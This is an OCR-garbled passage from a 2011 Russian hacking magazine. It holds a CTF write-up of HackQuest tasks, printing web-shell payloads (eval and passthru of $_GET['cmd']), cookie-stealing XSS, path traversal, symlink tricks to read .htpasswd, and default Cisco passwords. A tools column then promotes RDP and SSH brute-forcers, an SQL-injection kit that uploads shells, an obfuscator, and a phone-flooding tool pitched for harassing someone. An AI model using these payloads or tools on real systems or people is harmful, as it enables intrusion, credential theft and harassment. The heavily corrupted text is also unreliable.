Как это работает? 1. Использова ние stream wrappers [data появился в Р Н Р с версии 5 2 0] ; 2. short_open_tag и register _g lobals в состоя н и и «ON» ; з. < ?= ?> эквивалентно < ? echo ?> ; 4. И спользова ние обратных ка вычек экви валентно использова нию shell_exec[ ] . Получ и в та ким образом возможность выполнения команд на сервере, требовалось получить список пользователей системы 1/ etc/passwd] . После чего, испол ьзуя л юбой инструментарий под­бора па роля к сервису telnet [ например, THC-Hyd ra , Medusa , ncrack ] , сл едовало осуществить подбор используемых парол ей пользователя м и системы . П еребор должен был поз волить выявить пользователя , у которого уста новлен пароль, совпадающий с его идентификатором. Доступ по протоколу telnet с привилегиями этого пол ьзователя давал возможность получить содержимое оче­редн ого флага .

За.Dание N2З: Самописный bet>-Сервер Довольно простую уязвимость можно было отыскать на веб-сервере, который светил своей мордочкой задание с кря кмисом. Это одно из самых п ростых заданий хак- квеста, в котором требовалось на йти уязвимость типа «Выход за корневой каталог веб-сервера» (path

ХАКЕ Р 03 1 1 46/ 2 0 1 1

Page 61: Хакер март 2011

5 О obj

« /Fi.1terl [/F1",teDecode] I Ip ,,,r,,,ms « /CheckSum

( \336\071\366\302\064\105\320\167\361\210\121\247\201\ IEmbeddedFi1e ILength 1684 » streaJn.

Xlf>1.'IШJ'<;� Imi 1IПD1II!DxЪ} UМ1IИI �WXЭХ=цш7"'Д"'КШОш' 1'Ik:f1 ' vllыцilnIп.иуЕE

�IИiI' h/f:.,.IШI3ШiPJ&ооGiDК О ъOПJ* IПiD!iJtmI!Iв€:\'iIiВ. ' ёч :tО1ЕЮЦ-жS zIяwmПе:zl.'l!Шl:cчIШI3CIIНИ(jПJ�'I1��" OПJТJlSОIНтф '!:1iD> IIПDбчб ' О ыkWrОУх �9<о юmзIlГ��'" Позитивный pdf в разрезе

traversa l) . Указанную уязви мость легко можно было обна ружить а втоматизированным путем с использованием соответствующих и нструментов [поэтому очень настораживают конечные результаты опliпе-соревнова ний secu rityla b . ru/hg20 1 O/list .ghg) . Эксплуата ция уязвимости требовала л и ш ь отправить веб-серверу зап рос следую­щего вида: « G ET /../. ./../root/ .h istory НТТР/l . l » . Получи в содержимое истории вводи мых администратором команд, с помощью консоль­ной магии можно было легко п олучить очередной флаг.

Задание NQ4: Доска объявлений В и гровой сети распол а галось веб-приложе н и е , которое э му­л и р овало работу эле ктро н н о й доски объя вл е н и й . П олуч и в доступ к и сходному коду п р ил оже н и я [для этого требовал ось об ратиться к i ndex .ba k) можно было восста н о в ить всю логику работы п р иложе н и я , которая закл ючалась в сл едую щем : если пол ьзо ватель п ытал ся доба в ить более одного сообще н и я в тече н и е одн о й м и нуты, то е го I P-аАрес доба влялся в ч е р н ы й с п исок [файл blackl ist . p h p ) . Уяз в и м ость з а ключалась в то м , что п р ил оже н и е проверяло п е реме нную окруже н и я веб-сервера НТТР _X_FORWARD ED_FO R , и , есл и указа нная переменная была установлена , то вм есто I P-аАреса в ч е р н ы й с п и со к по падало содержимое загол о в ка браузера X-Forwa rded - For без како й ­л и б о п роверки [на самом д е л е идея б а г и б ы л а поза и м ствована у п р иложе н и я CuteNews) . Э ксплуатация уяз в и мости сводилась к устано вке в качестве за головка X-Forwa rd ed-For че го-то вроде это го : ' ; ? > < ?eva l !$_ G ЕТ [ ' сmd ' ) ) ; ? > < ?$а=' . После получ ения возможности выполнения команд на сервере и п рочте н и я исто р и и ко манд, вводи м ы х адм и ­нистратором, можно было понять, где спрята н за ветн ы й кл юч .

Задание NQS: Cross-Site Scripting Когда речь за ходит про ата ки вида XSS [ п р едполагается , что ты п о н и м аешь , что эти три буквы значат : ) ) , то все сразу вспоми­н а ют п р о обычные отраже н н ы е и хра н и м ы е XSS , и лишь ино­гда - еще и п р о та к называемые D O M -based XSS ! см . owasg. org/index .ghg/D O M Based XSS ) . А ведь последн и е известны ка к м и н и мум с 2005 года , ко гда были описаны в из вестной ста­тье Ам ита Кл ейна ! см . we baggsec.o rg/grojects/a rt i c les/07 1 1 0 5 . sh tm l) . Есл и коротко, то да н н ы й тип XSS бази руется на то м , что входные да н н ы е веб-приложения п р и н и м а ются и испол ьзуются для модификации D О М на стороне веб-браузера в контексте JаvаSсг iр t -языка . С а м НТТР-ответ сервера та к и м образом н и ка к не измен яется l Кл ассический п р и м е р данной уя з в и м ости :

Select your language :

<select><script>

document , wr i t e ( " <OPTION value=l > " +document ,

locat ion , href , subs tring ( document . location , href ,

indexOf ( " defau l t = " ) + 8 ) + " < / OPTION> " ) ;

document , wr i t e ( " <OPTION value=2 >Engl i sh< /OPTION> " ) ;

< / script>< / select>

Эксплуата ция п редста вляет собой передачу JаvаSсгiрt-на грузки в параметре defau lt следующим образом:

ХАКЕР 03 / 1 46/ 2 0 1 1

8Otbod <ч> [publicJ : : Array <q> (private) : :Ob.fusco t.o-« q> (puhlic] : : St.r!ng) (1 p.r.... О opt.lonal)

r.tack : 5 10061 . : 4 .00ро : 8- 8 .fl.g8 : ) .lo t : 9

( 00000) + О: О got.local rl 00001) + 1 : 0 gotp-roperty <q)(pub110) : : length 00002) + 1: О CJotlocal_O 00003) + 2 : 0 getproporty <q> (private1 : : key 0000.) + 2: О getproperty <q> (publ.io1 : : length 0000$) + 2 : 0 pU8hbyte � 00006) + 3: О .ubt.raot. i

Функция формирования запроса к веб-приложению "The conscience of а H8cker" Ьу The Mentor . Iceweasel

Hi!tory �OOI<markS !OOIS !ielp

Манифест хакера, содержащий скрытый ключ

http : / /www , some , s ite /page , html#de faul t=<script >alert (

document , cook i e ) < / script>

Всё было бы з а м ечател ьно , но современные веб-браузеры решили обезопасить пол ьзовател ей и п а ра метры адреса пере­да ются в J аvаSсгi р t -конте кст в uг l -закоди рова нном виде , доба вляя п р обл е м ата кующему и делая э ксплуата цию н е та кой тривиальной . К сожал е н и ю , та кая защита н е я вл яется доста ­точ н ы м средством , поскол ьку вариантов испол ьзования пара­м етров адреса довол ьно м н ого , и о н и вовсе н е огра н и ч и ва ются п р и веде н н ы м в ы ш е п р и мером . А с развитием веб-приложе н и й [ пере носом в с ё бол ьш е й части логики работы на сторону веб­браузера ) этот вид C ross-S i te Scri p t ing ждет п ерерожде н и е . Но вернемся к наш ему зада н и ю . Оно было воплощено в виде оче­редного кл она п о пул я р ного сервиса м и кроблогги н га . Открываем и изучаем HTML-KOA главной стра н и ц ы . В самом конце замечаем уя звимый участо к кода счётч и ка посещен и й :

< /div>

<script>

document , wr i t e ( unescape ( ' % 3 C img%2 0 src%3D%2 2 / img/ stat ,

png ? si t e = ' +document . locat i on , href + ' %2 2 % 3 E ' ) ) ;

< / script>

< / div>

< /body>

< /html >

Дальнейшие действия очевидны - воруем сессию администратора сервиса, который , судя по всему, достаточно а ктивно им пол ьзуется. Для этого: 1. Регистри руем нового пользователя . 2. Отсылаем администратору л и чное сообщение, содержа щее ссылку с JаvаSсгiрt-на грузкой [например , отправка кук на заранее приготовленный сниффер) . З. Адм инистратор нажимает на ссылки в сообщениях , не глядя. 4. Заполучи в его сессию, в его личных сообщениях и обнаружива­ем необходи мый нам очередной кл юч . 5. Profit l

Page 62: Хакер март 2011

<html> <head>

<meta http-еquiv="Сопtепt-Туре" content="text/htm1; cha r5et=UТF -8" /> <tit1e>"The COn5cience of а Hacker" Ьу The Мentor</titte> <! - -The truth 15 1п spaces . F1nd Н! - ->

<5ty1e type="text/c55"> body { co1or : #dЗd7сf;

mагgiп :ЗЭ; backg round-color: #lе242б ;

} hl {

} text-align : center; color : white i

quote { text-align: right;

co1or: #dЗd7сf ; font - 5ty1e: НаНе ; }

НТМL-код С подсказкой

Задание N26: Хостинг П р оводя исследо в а н и е и гровой сети , можно наткнуться на сервер , кото р ы й с ветил стр а н и це й по умол ч а н и ю веб-сервера Apa c h e на 8 0 - м по рту, а та кже и с пользовался в ка честве S M TP - и D N S - с е р в е р а . Чтобы по нять , какие са йты о бслуж и вает веб-сервер , требовалось осуществить перенос D N S - з о н ы . Но какой з о н ы ? Ответ на этот вопрос мог быть п олуч е н и з об рат­н о й D N S- з о н ы , кото рая та кже обслуж и валась на это м сервере . Уз н а е м про D N S -суфф и кс , ис пол ьзуе м ы й веб-се р в е р о м : d i g 0 1 72 . 1 6 . 0 . 1 О P T R 1 0 . D . 1 6 . 1 7 2 . i n - a d d r. a rpa Осуществл я е м перенос DNS-зо н ы : d ig 0 1 72 . 1 6 . 0 . 1 О сс 1 O .s i te axfr Далее требовалось настроиться на и с п ользова н и е этого D N S ­сервера [ и л и п р о п и сать соответствую щ и е и м ена в ф а йл и к hosts ] . После бегл о го осмотра досту п н ы х са йтов можно было о б н а ружить уязвим ость типа Loca l F i le I n c l u d i n g на са йте Васил и я П уп к и н а . Для ее э ксплуата ц и и и дал ь н е й ш е го раз­вития ата к и еди н стве н н ы м спо собом я влялось ис польз о в а н и е S MTP-Аемона в кач естве транспорта д л я п роб роса полезной на груз ки [см . xakep. ru/post/49508/d efau l t . asp] . Н а п р и м е р , сле­дую щ и м обра зо м :

t e 1net 1 7 2 . 1 6 . 0 . 1 0 2 5

eh10 c c 1 0 . s i t e

ma i 1 f rom : any@c c 1 0 . s i t e

rcpt t o : va sya

dat a

< ?php p a s s thru ( $_GET [ ' cmd ' ] ) ; ? >

ENTER

П р одел а в ряд ш а м а н с к и х м а н и пул я ц и й с S MTP-Ае м о н о м , ста ­новилось возмож н ы м п олуч ить доступ к в ы п ол н е н и ю команд операционной с и сте м ы :

h t tp : / / vasya _ c c 1 0 _ s i t e / i ndex . php ? f i 1 e= /var / ma i 1 /

vasya% O O &cmd= l s - lа /

Но даже с та к и м доступом к серверу чтобы п олуч ить и гро-вой кл юч , нужно очень поста раться . П р и ч и на это му - м одул ь S u EX E C , кото р ы й разгранич и вал доступ к соседним саЙта м . Для обхода указа н н ы х огра н и ч е н и й требовалось испол ьзовать с и м волические ссылки [ с м . kernelpa n i k .org/d ocs/kernelpa n i k/ suexec.en .pdfl . Это было воз можн ы м тол ько по п р и ч и не того, что в ко нфигурации веб-сервера и спользовалась директива AllowOverri de Al l . Дал ьнейшая ата ка сводил ась к в ы п ол н е н и ю сл едующих з а п ро­сов :

� 070

1 . В ключение возможности испол ьзования си мволических ссылок путем переоп ределения настроек на каталог са йта vasya .cc 1 O.site: echo Opt ions + F o 1 1 owSymLinks > / u s r / 1oca1 /www / da t a /

vasya / . ht a c c e s s

2. Осуществл е н и е доступа к каталогу са йта , содержа щему и гро­вой « флаг» : 1 n -s / u s r / 1oca1 /www / da t a / r oo t / . h t a c c e s s /

us r / 1oca1 /www/ data /vasya / t e s t . txt

З. Осуществл е н и е доступа к фа йлу, соде ржа щему да н н ы е дл я аутентиф и ка ц и и на са йте rOOt .cc 1 0 .s i te : 1n - s / u s r ! l o ca 1 /

www/dat a / root / . htpas swd_new / u s r / 1oca1 /www / d a t a /

vasya /pas swd . txt

4. Расшифровка полученного М D5-хеша [ н а п р и м е р , с и споль­зова н и е Pa sswo rd s P ro или John the R i p pe r] 5. Доступ к содержи м ому са йта rOOt .cc 1 0 .s i te и п олуч е н и е и гро­вого кл юча

Задание N27: Позитивный PDF В одн ом и з зада н и й хак-квеста п редл а галось и зуч ить [ пози­ти в н ы й ] рd f -файл , который обращался к веб-п риложе н и ю с испол ьзова н и е м встроенных а л горитмов ш и ф рова н и я . П о спе­циал ь н ы м маркера м можно было сделать вы вод, что в рdf-файл внедрен еще и flаsh-объект. Дал ее , та кже по специальному марке ру, н еобход и м о было опре­делить, что swf в нутр и рdf-файла в н едрен с ис пользова н и е м сжати я z l i b . Та ким образом получить « ч и сты й » swf-файл воз­можно, н а п р и м е р , при помо щи библиотеки zl ib я з ы ка Pyt h o n . Сл едую щим эта п о м я влялось восстановл е н и е а л горитма ф о р м и ­рова н и я зап роса к веб-п риложе н и ю п о в ыдер нутому swf-фа Йлу. Для этого можно было воспол ьзоваться утил итой swf d u m p и з па кета swftools. Особое в н и м а н и е следовало обратить н а фун к­цию O bfuscate - она и выполняет фун кцию ге нерации з а п роса к серверу. С а м кл юч , по кото рому выполняется ш ифрова н и е , нужно было восстановить из сл едующего фра гм ента кода :

0 0 0 1 6 ) + 0 : 0 g e t 1 oc a 1_0

0 0 0 1 7 ) + 1 : 0 pushint 1 7 0

0 0 0 1 8 ) + 2 : 0 pushint 42

0 0 0 1 9 ) + 3 : 0 pushint 52

0 0 0 2 0 ) + 4 : 0 pushint 1 2 0

0 0 0 2 1 ) + 5 : 0 pushint 1 7 8

0 0 0 2 2 ) + 6 : 0 pushint 2 4 9

0 0 0 2 3 ) + 7 : 0 pushint 2 5 5

0 0 0 2 4 ) + 8 : 0 pushint 2 2 8

0 0 0 2 5 ) + 9 : 0 pushint 8 0

0 0 0 2 6 ) + 1 0 : О pushint 3 2

З н а я кл юч и алгоритм ш и фрова н и я , воз м ожно генери ро вать п роизвольные з а п р осы к веб -п риложе н и ю . Чтобы п олуч ить и гровой флаг, требовалось с ф о р м и ро вать з а п рос к веб­п р иложе н и ю с и спользова н и е м п ростей ш е й тех н и ки э ксплуата ­ц и и уя з в и м ости « В недр е н и е о п е раторов SQL» .

Задание N28 : Стеганография Стега н о графия - это нау ка о скр ытой п е реда ч е и н ф о р м а ц и и путе м сохра н е н и я в та й н е са м о го фа кта п е реда ч и . В отл и ч и е о т кр и птографи и , кото рая скры вает соде ржимое се кретного сообще н и я , стега н огра ф и я с к р ы ва ет с а м о е го существо в а н и е . В цифровом м и р е в ка честве конте й н е ра дл я с к р ы в а е м о й и н ф о р м а ц и и о б ы ч н о и с п ол ьзуют мул ьти м едиа-объе кты [ и з о ­браже н и я , в идео , аудио , те кстуры 3 D - о бъекто в] и в н е с е н и е и с ка же н и й , кото р ы е на ходятся н иже порога чувств ител ьности среднестатисти ч еского человека и н е п р и водят к з а м етн ы м и з м е н е н и я м этих о бъектов . Н о , ка к несложно до гадаться , кон­тейнером м ожет выступ ить н е тол ько мул ьти м едиа-файл . В н а ш е м случ а е в роли конте й нера в ы ступ ил H T M L- KOA I Дело в

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 63: Хакер март 2011

Line �el Host ( s ) 8 con 8 �18CiS�d le 2 vty 8 idle

I n terface User

.UJ��.nu,чс"ие К 9ЗА 9 9теря"о .

: 'Users'devteev >_

Раскрытие идентификатора пользователя

t10de

: 't f tp>thie f . py 192 . 168 . 192 . 12 NFO : �a in __ : Du�ped route r-confg NFO : �a in __ : Total t i�e : 8 : 88 : 89 . 154888

Подбор файлов на ТFrP-сервисе

то м , что веб-б раузе р п р и отображе н и и стр а н и ц ы и гн о р и рует идущи е п одряд п робел ь н ы е с и м в ол ы , е сл и о н и не зада н ы как Н Т М L - м н е м о н и к и . Та к и м образом два и бол е е п робела показы­ва ются как оди н . То же самое отн о сится к с и м вол а м табул я ц и и и п е реноса строк . Это был кратк и й э кс курс в теор и ю . А само зада н и е п редста в ­ляло собой НТМ L-стр а н и цу с Ман ифесто м х а к е р а ! стыд и позор те бе , %username%, если ты не ч итал это посл а н и е М е нтора ] , кото рое можно было оты с кать на п росто рах и гровой сети . П р едполага я всю трудн ость раскрытия с п е ц и ф и к и зада н и я , в H T M L-коАе б ыл а заботл и во о ста влена подс ка з ка , указыва ющая на то , что п робелы в коде м о гут в ы п ол н ять не тол ько роль раз­дел е н и я слов в п р едл оже н и я х . В н и мател ь н ы й участн и к м о г обнаружить, что слова в те ксте раздел е н ы н е в езде оди наково . Если го вор ить более ко нкретно , то оди н п р обел п редста влял собой не что иное , как « О » , а двой ной п робел , соответств енно , « 1 » . Иными слова м и , речь идет про оди н бит и н ф о р м а ц и и . Восе м ь бит есть оди н б а й т и одн о в р е м е н н о код с и м вола в А5 С I I -та бл ице . О г р а н и ч ител е м сообще н и я выступала после­довательность « п р обел + с и м вол та бул я ц и и » . Зада н и е было осложнено и м е нно п о н и м а н и ем того , что текст - не п росто очередная п о п ытка п р о п а га нды х а к и н га , а эта обычная стат и ч ­ная НТМ L-стра н и ца и есть зада н и е , и з кото рого и надо добыть за ветн ы й кл ю ч .

Задание N29: Cisco П о м и м о х а н и п ото в , э мул и рующих сете в ы е устро й ства и раз­л и ч н ы е операционные с и сте м ы , в и гровой сети можно было отыс кать са м ы й что н и на есть « жи в о й » роутер на базе C i sco 105. С к а н и р о в а н и е ТСР-портов должно было п о казать , что доступ ен сервис F I N G E R . Обрати в ш и с ь к этому с е р в и су, м ожно было получить и м я за регистр и р о в а н н о го пользо вателя на устро й стве . Дал ь ш е достаточно было прове рить на п о рту TELNET и м я это го пол ьзо вателя с паролем « c i sco» ! станда рт­н ы й п а роль для оборудо в а н и я C isco ] . Следующий ш а г з а кл ю ­ч а л с я в п одн ятии п р и в илегий на устройстве . С а м о с о б о й , р е ч ь не шла о пятн адцато м уровне доступа : ] . Н о на третий уровень доступа с паролем « c isco » м ожно было п однятьс я . Уже на этом

ХАКЕР 0 3 1 1 46/ 1 0 1 1

I d le Locat ion 88 : 88 : 14 88 : 88 : 88 192 . 168 . 192 . 288 I d le Рее!' Addre s s

эта п е у пол ьзо вателя хватало п р и в и л е г и й , чтобы п р ос мотреть з а пущенную конф и гура ц и ю . И с пол ьзуя кома нду « R o u t e r#show г u п п i п g - сопf i g v iew fu l l » можно было п олуч ить конфигура ц и ю устро й ства , а в м есте с ней и и гровой фл а г.

Задание N210: TFТP Одно и з с а м ы х п ро сты х зада н и й , кото рое можно б ы л о отыс кать в и гровой сети - это зада н и е , связанное с ТFТР-се р в и с о м . Однако , как оказалось , б е з каких-либо п одс ка з о к и оно стало довол ьно сложн ы м для б ол ь ш и н ства уч астн иков . Для р е ш е н и я зада н и я требовалось обна ружить досту п н ы й ТFТР- с е р в и с [69/ u d p ] , а затем подобрать и м я файла , кото рое на нем х р а н илось . Как раз подбор и в ы звал н а и б ол ь ш и е сложн ости у участ­н и ко в сорев нова н и я . И м я ф а й л а , кото рое нео бходи м о было подобрать - это « ro u t e r-conf i g » , ста ндартное имя файла по умол ч а н и ю при ко п и рова н и и ко н ф и гура ц и и с консоли обо­рудо в а н и я на базе C i sco 1 0 5 . П р и м еч ател ьно , что в словарях с и стем по и с ка уяз в и м осте й и даже с п е ци ал и з и ро в а н н ы х и н струме нтах [та к и х , как t f tp thef t ] отсутствует з а в етное и м я « го u tег -сопf i g » . Если же файл был все-та ки получ е н , то п робл е м с выдергива­н и е м и з н е го и грового кл юча не воз н и кало . Кл юч х р а н ился в фор мате п а рол е й « secret 7» и М О Г б ыть восста н овлен разл и ч ­н ы м и и н струмента м и [ н а п р и м е р , с и с п ол ьзова н и е м C a i n &Abe l ] .

Заключение К сожален и ю , ф о р мат журнала не позвол я ет расска зать про все зада н и я [ и х было бол е е двадцат и ] , п редл оже н н ы е на на20 1 0 . П о этому р а с ш и ренная версия да нной публ и к а ц и и доступна в электр онном в иде по адресу xa kepru . h a b ra h a b r. ru!. С п асибо всем , кто п р и н и м ал участи е в соревнова н и и H Q 20 1 0 1 С п асибо разраб отч и ка м н а 2 0 1 О , сдел а в ш и м е го та к и м насы­ще н н ы м и и нтересн ы м . Отдел ьное спасибо Ти муру Юнусо ву, С е ргею П а вл о ву, Ал е ксандру Матросову, Влади м и ру Воронцову aka D O z n p , Валере М а р чуку. Также хочется поблагода рить всех организато ров и с п о нсоров [ в ч а стн ости , Е5ЕТ и 5ecu r i tyLa b I , кото р ы е п р едоста вили возможность пров ести подобное м е ро­п р иятие . До скорых встреч на будущих xa k-квестах l :::r:::

� 071

Page 64: Хакер март 2011

• • Маг icq 884888, http://sn ipper.ru

X-TOOLS Программа: Fast RDP Brute ОС: Windоws 2000/ХР1200З ServеrNistа12008 SеrvеrП Автор: ROleg

Mei't � IPht � Trno.:м: � � ��':d58t =ь �= '::�ЫI � "P�IC�er �s���========================� � Cl.frentrwNlg lhNdc 120 'Fh� ДUh. COrrbNtiCm 18ft ЭS90840 Good� 1 Al.th. per teCOnd: з2 Bad.ComEn _Encn 97D.1D9 . 1079

ТheadЭ8:f"'09.'б9.З4.100· aarn.tr4b:r� ТheadЗ4: f_ 1С8.25.54.1 29 · Uninidl6IOI;qwer!y Тhead5: fllll:e lС8.а.25Э.5З · Uninist!4b:r·

'1'JP\iDm�/t:NJ:k "" . prrY�е Уel$Юn

Правильный брутфорс дедиков

Н а конец-то это случ илосы� С п ешу п ред­став ить твоему вниманию замечательный , фун кционал ьный , а главное - быстр ы й R D P брутфорс Fast R D P B rute l По сути данная про­грамма п редставляет собой а налог приватно­го Qtss-брута , который основан на п ротоколе R D P версии 5. Особен ности брута :

• использует протокол RDP 5 ;

• неограниченное количество потоков

( рекомендовано от 30 до 1 2 0 ) ;

• скорость брута на уровне при­

ватных аналогов ( до 1 2 0 паролей в

секунду ) ;

простой интерфейс ;

• встроенная проверка обновлений .

Для начала работы с да нным брутфорсом тебе будет н еобходимо наска н ить определенные диапазоны I P-аАресов. Для этого: 1. Устанавл и ваем всем известны й сканер птар [официальная страница сканера : i nsecure .org ] . 2. Коп и руем в X:\Prog ram Fi les\Nmap\scri pts скрипт rdp . nse [его можно найти на нашем диске] . 3. Создаем следующий . Ьа! файл :

@echo o f f

for ! l % % % х in ( 1 , 1 , 1 0 0 ) do (

start " rdp " / HIGH nmар -п - Рп -р

Т : 3 3 8 9 -Т5 - - s c r ipt rdp . nse - i R О

)

exit

4. За пускаем, ждем пару часов и , наконец , брутим : ] Другие особен ности проги т ы сможеш ь узнать на ее официал ьной страничке : frdpb .hut2 . ru .

� 072

Программа: Медвежья хватка (MedWebGrasp, MWG) ОС: Windоws 2000/ХР/200З ServerNista/2008 ServеrП Автор: iHomet

SQL инъекции ПОД колпаком!

На очереди очередной хакерский комба й н для и сследования уязвим остей ти па SQL­inject ion под патриотическим названием «М едвежья хватка» [выклады вание та ких a l l inclusive п рогра м м уже вошло в добрую традицию нашей рубрики ] . Основные возможности и модули « М едвежь­ей хватки» :

• сбор и хранение информации об уяз ­

вимом сайте и учетных записях поль­

зователей ( модуль «Знаток» ) ;

• сбор и хранение информации из БД и

файлов конфигурации уязвимого сайта

(модуль «Архивариус» ) ;

· выполнение обычных и слепых инжек­

тов ( модуль «Хирург» ) ;

• онлайновый поиск значений хэшей

( модуль «Детектив » ) i

• сканер особенностей сайта , имею­

щихся таблиц и открытых портов ( мо­

дуль «Разведчик» ) i

• сканер структуры сайта , поиск па­

пoK и файлов ( модуль «Следопыт» ) ;

• инструмент для чтения файлов и ди­

ректорий ( модуль «Читатель» ) ;

• инструмент для закачки скриптов на

сервер ( моду ль «Лекарь» ) ;

• аудит работоспособности уязвимос­

тей и шеллов ( модуль «Ревизор» ) ;

• гибко настраиваемые профили за­

просов и построителей (модуль «На­

стройщик» ) ;

• конвертор кодировок (модуль «Тол­

мач» ) i • экспорт содержимого баз в тексто­

вый файл ( моду ль «Коробейник» ) .

Ты уди в и ш ьс я , н о все это вел и кол е п и е я вл я ется всего л и ш ь п р иложе н и е м к БД M S Access 2003 1 Та к и м образом , ты см 0-

жешь исследовать SQL- и нъекци и , почти не при касаясь к клавиатуре, только с помощью предва р ительно настроенных п рофилеЙ . У этой утилиты также есть и некоторые огра­ничения , кото р ы е , в п ро ч е м , не являются сколько-нибудь существенными :

отсутствует поиск уязвимых сайтов ;

работа только с БД MySQL ;

нет возможности работать через

прокси .

На практике ты сможешь испол ьзовать « М ед­вежью хватку», например, та к: 1. Ты нашел SQL и нъекцию следующего вида:

http : / /rnys i t e . com/ show . php? id=3 +uni

on+select+ 1 , 2 , user ( ) , 4 , 5 - -

2. Копируй дан ную и нъекцию в буфер обме­на и переходи в « М едвежью хватку». 3. Н ажимай на кнопку новой записи и обя­зател ьно п роверь, чтобы курсор стоял в верхнем поле. 4. Жми на кнопку « умной» вста вки [при этом адрес из буфера разбивается на два поля l . 5. Вызывай модул ь « Хирург» С помощью кнопки « SQL» или « BSQL» [в зависимости от формата строки зап роса ] , по умолчанию форма открывается с профилем « Данные О

базе». 6. Н ажимай на кнопку выпол нения запроса. 7. Если все прошло правильно, то в поле « Найдено» ты увидишь строку резул ьтата . 8. Далее нажимай на кнопку « С войства БД» [полученные данные сохранятся в базе п ро­граммы] и выбирай профиль « Непустые таб­лицы», чтобы снова вы полнить запрос. 9. Сохрани резул ьтат с помощью кнопки « Таблицы» [если надпись « Далее» стала красного цвета, это знач ит, что необходимы дополнител ьные запросы для извлечения всех дан ных, в этом случае жми' на кнопку « *****[0 1 ] » и жди окончания серии запро­сов]. 10. Далее выпол няй профиль « Непустые таб­лицы с *pass*, *pwd* ,*psw*» , который отоб­разит все табл ицы, имеющие поля паролей. 11. Теперь, когда известны имена таблиц , содержа щие парол и , можно вызвать и выпол нить профиль « ' столбцы для табли ­ц ы » [результатом зап роса по этому профилю будет список столбцов для выбранной таб­лицы] . 12. Теперь за п раш ивай данные учетных записей с помощью вызова п рофиля « ' таб-

ХАКЕР 0 3 / 1 46/ 201 1

Page 65: Хакер март 2011

лица» или «�О схема.таблица» и выбора в них соответствующих имен. 13. Сохраняй результат в подтаблицу пользо­вателей кнопками « И мя И хэш» или « И мя И

пароль» . 14. Теперь, имея на руках полную базу табл иц, столбцов, пользователей и так далее наше-го тестового уязвимого сайта, ты сможешь залить шелл с помощью модуля « Лекарь» ИЛИ

сам определиться с дальнейшими действия­м и с помощью своей фантазии . Особенно хочется отметить уже упомянутый выше модуль « Лекарь», который предназначен для загрузки шеллов на сайт через уязвимость прав доступа к файловой системе Iload_file] при откл юченном режиме magic_quotes. Для работы с данным модулем тебе необходимо лишь задать путь и имя файла в верхних двух полях. П ереключатель слева внизу выбирает один из вариа нтов закачки:

тестовый - про верка возможности за­

качки тестового файла в папку / tmp / ;

• информационный - закачка функции

рhрiпfо ( ) по указанному пути ;

• командный шелл - закачка функции

выполнения *пiх-комаНД i

• инклудинг - закачка шелла для инклу­

да внешнего с крипта ;

• аплоадер - закачка скрипта для апло­

ада .

Поля справа от перекл ючателя позволяют мо­дифицировать закач иваемый скрипт. В случае успешной закачки Iпроверяется повторным скач иван ием и сравнением] выдается соот­ветствующее сообщение. Остальные мануалы по работе других модулей ты сможешь п рочитать в подробном Read Me из архива с прогой. Автор комбайна будет очень рад услышать твои предложения , замечания и пожелания на са йтах mwg.far.ru и mwgrasp.on i .cc I кстати , там жеты сможешь найти исходники « Медвежьей хватки» и подробные обучающие видео].

Программа: SSH Bruteforce ОС: Windows 2000/ХР/200З ServerMsta/2008 ServеrП Автор: Кaimi

----'!:.- ' .

--- -- ----о SSH Bnrt.m.c.

т..,_ @ i'iG"CШИ......, riOiiiНiJ е> по ctanмtOМy паром б по амс:ку I!OГW1J\l1POt1b

���12�7--�--�--� до 127

-,.,. er..coк 'Р ,======:::::1 0

CJ --NO .... -1 -- ffi т......" 20000 �

ГоТ08 ...

Брутим SSH

ХАКЕР 03 /146/ 2 0 1 1

� �

А теперь настало время представить тебе дол­гожда нную прогу для брутфорса SSH - SSH Bruteforce от Ka im i l Особен ности брутфорса :

МНОГОПОТОЧНОСТЬ i

три режима пере бора ( по списку

логинов I ПО списку паролей I по

списку «ЛОГИН; пароль» ) ;

• перебор IP по диапазону или по

списку из файла ;

• возможность установки тайм-аута

соединения при проверке порта ;

• подобранные логины и пароли со­

храняются в файл brute_goo d . txt ;

• распараллеливание идет по I P ­

адресам ( если в диапазоне один I P

и в настройках СТОИТ СТО ПОТОКОВ I

то фактически пере бор идет в один

поток ) .

За исходника м и и поддержкой заходи на официал ьную страничку утилиты: ka im i . ruI20 1 0/1 2/ssh-bruteforce.

Программа: РНР Obfuscator 1.5 ОС: ·nixlwin ABTOp: dx

<' SCiLoiAls{ J21103ьa87

Каша в РНР коде

П оследн и м в нашем сегодняшнем обзоре предстает оди н из лучших Р Н Р-обфускато­ров - Р Н Р Obfuscator oT dx. Возможности обфускатора :

замена имен переменных i

замена имен функций ;

шифрование статических строк ;

шифрование имен стандартных функ-

ций РНР ;

обфускация INTEGER ' OB ;

сжатие скрипта ;

архивация скрипта ;

добавление треш-комментариев ;

обфускация констант РНР ;

возможность добавления мусорных

инструкций и переменных с з аданной

вероятностью .

Если учестыот фа кт, что каждый раз скрипт создает совершенно разный

обфусци рова н н ы й код, твоим кон куре нта м еще долго п р идется разгады вать скрипты в случае возн и кновения такой необходи ­мости : 1 .

Также сто ит отметить и некото рые огра­н и ч е н и я : обфус като р не подде рживает конструкции eva l l l и $$va r _па т е , а та кже могут воз н и кнуть п робл е м ы со скрипта м и в коди ровке UTF-B.

За обновлениями и авторской помощью не забывай своевременно заходить на страничку ka im i . ru/201 0/1 0/php-оbIusсаtог- 1 -5 .

Программа: Rings Skyper ОС: Windows 2000/ХР/200З ServеrNistа/2008 SеrvеrП Автор: SiпЗv

t ПОА�JDOЧ�'1'ЬСЯ l RU RU1337

ТелефоННЫЙ флудер

DNLIII

Следующей в нашем обзоре идет неплохая п рогра мма для флуда мобильных и ста цио­нарных телефонов - Rings Skyper от коман­ды si n3v.org. П р инцип работы да нной проги достаточно п рост: 1. Наби раем номер ; 2. Ждем начала гудков ; 3. Разрываем соединение ; 4. Набираем заданный номер заново . Фун кционал и особенности флудера :

указание одного номера для флуда ;

указание списка номеров для флуда

( загружается из текстового файла ) ;

• указание интервала между разрывом

соединения и звонком ( в секундах) ;

указание количества ЗВОНКОВ ;

возможность начать флуд с нача­

ла списка после прохода по всем его

номерам ;

таймер работы флуда ;

работает через сервис Skype , не

снимая деньги ;

• флуд домашних , мобильных и интер­

нет-телефоно в ;

ведение подробных логов ;

интервал между звонками не превы­

шает 3 - 5 секунд .

Как видишь, данная утилита вполне сможет заставить твоего недруга сменить номер тел ефона : 1 . :х:

� 073

Page 66: Хакер март 2011

